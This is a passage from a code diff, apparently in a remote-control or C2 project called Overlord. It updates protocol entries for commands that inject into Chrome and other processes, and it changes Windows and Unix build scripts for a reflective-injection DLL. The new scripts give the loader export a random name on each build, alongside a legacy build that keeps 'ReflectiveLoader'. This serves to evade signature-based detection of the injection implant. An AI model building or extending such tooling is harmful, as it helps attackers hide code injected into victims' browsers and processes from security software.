|
},
|
||||||
|
"backstage_start_chrome_injected": {
|
||||||
|
"latestVersion": 2,
|
||||||
|
"changes": {
|
||||||
|
"2": {
|
||||||
|
"breaking": true,
|
||||||
|
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
||||||
|
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"backstage_start_process_injected": {
|
||||||
|
"latestVersion": 2,
|
||||||
|
"changes": {
|
||||||
|
"2": {
|
||||||
|
"breaking": true,
|
||||||
|
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
||||||
|
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
},
|
},
|
||||||
"serverToAgentMessageTypes": [
|
"serverToAgentMessageTypes": [
|
||||||
"enrollment_challenge",
|
"enrollment_challenge",
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
|
|||||||
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
|
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
|
||||||
set "TARGET=x86_64-pc-windows-gnu"
|
set "TARGET=x86_64-pc-windows-gnu"
|
||||||
set "DLL_NAME=BackstageInjection.x64.dll"
|
set "DLL_NAME=BackstageInjection.x64.dll"
|
||||||
|
set "LEGACY_DLL_NAME=BackstageInjection.legacy.x64.dll"
|
||||||
|
|
||||||
where cargo >nul 2>&1
|
where cargo >nul 2>&1
|
||||||
if %ERRORLEVEL% neq 0 (
|
if %ERRORLEVEL% neq 0 (
|
||||||
@@ -22,7 +23,9 @@ if %ERRORLEVEL% neq 0 (
|
|||||||
|
|
||||||
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
||||||
|
|
||||||
echo Building BackstageInjection DLL for %TARGET% ...
|
echo Building randomized BackstageInjection DLL for %TARGET% ...
|
||||||
|
set "BACKSTAGE_LOADER_EXPORT="
|
||||||
|
set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%"
|
||||||
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
|
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
|
||||||
if %ERRORLEVEL% neq 0 goto :error
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
@@ -32,8 +35,17 @@ if not exist "%SRC_DLL%" goto :error
|
|||||||
copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
|
copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
|
||||||
if %ERRORLEVEL% neq 0 goto :error
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
|
echo Building legacy BackstageInjection DLL for %TARGET% ...
|
||||||
|
set "BACKSTAGE_LOADER_SEED="
|
||||||
|
set "BACKSTAGE_LOADER_EXPORT=ReflectiveLoader"
|
||||||
|
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
|
||||||
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
copy /y "%SRC_DLL%" "%OUT_DIR%\%LEGACY_DLL_NAME%" >nul
|
||||||
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
echo Built: %OUT_DIR%\%DLL_NAME%
|
echo Built: %OUT_DIR%\%DLL_NAME%
|
||||||
|
echo Built: %OUT_DIR%\%LEGACY_DLL_NAME%
|
||||||
exit /b 0
|
exit /b 0
|
||||||
|
|
||||||
:error
|
:error
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}"
|
|||||||
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
|
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||||
TARGET="x86_64-pc-windows-gnu"
|
TARGET="x86_64-pc-windows-gnu"
|
||||||
DLL_NAME="BackstageInjection.x64.dll"
|
DLL_NAME="BackstageInjection.x64.dll"
|
||||||
|
LEGACY_DLL_NAME="BackstageInjection.legacy.x64.dll"
|
||||||
|
|
||||||
if ! command -v cargo >/dev/null 2>&1; then
|
if ! command -v cargo >/dev/null 2>&1; then
|
||||||
echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
|
echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
|
||||||
@@ -36,7 +37,8 @@ fi
|
|||||||
|
|
||||||
mkdir -p "$OUT_DIR"
|
mkdir -p "$OUT_DIR"
|
||||||
|
|
||||||
echo "Building Rust BackstageInjection DLL ($TARGET) ..."
|
echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..."
|
||||||
|
env -u BACKSTAGE_LOADER_EXPORT BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \
|
||||||
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
|
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
|
||||||
|
|
||||||
SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
|
SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
|
||||||
@@ -49,4 +51,11 @@ cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME"
|
|||||||
echo "Built: $OUT_DIR/$DLL_NAME"
|
echo "Built: $OUT_DIR/$DLL_NAME"
|
||||||
ls -la "$OUT_DIR/$DLL_NAME"
|
ls -la "$OUT_DIR/$DLL_NAME"
|
||||||
|
|
||||||
|
echo "Building legacy Rust BackstageInjection DLL ($TARGET) ..."
|
||||||
|
BACKSTAGE_LOADER_EXPORT=ReflectiveLoader \
|
||||||
|
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
|
||||||
|
cp -f "$SRC_DLL" "$OUT_DIR/$LEGACY_DLL_NAME"
|
||||||
|
echo "Built: $OUT_DIR/$LEGACY_DLL_NAME"
|
||||||
|
ls -la "$OUT_DIR/$LEGACY_DLL_NAME"
|
||||||
|
|
||||||
echo "Done."
|
echo "Done."
|
||||||
Reference in New Issue
Block a user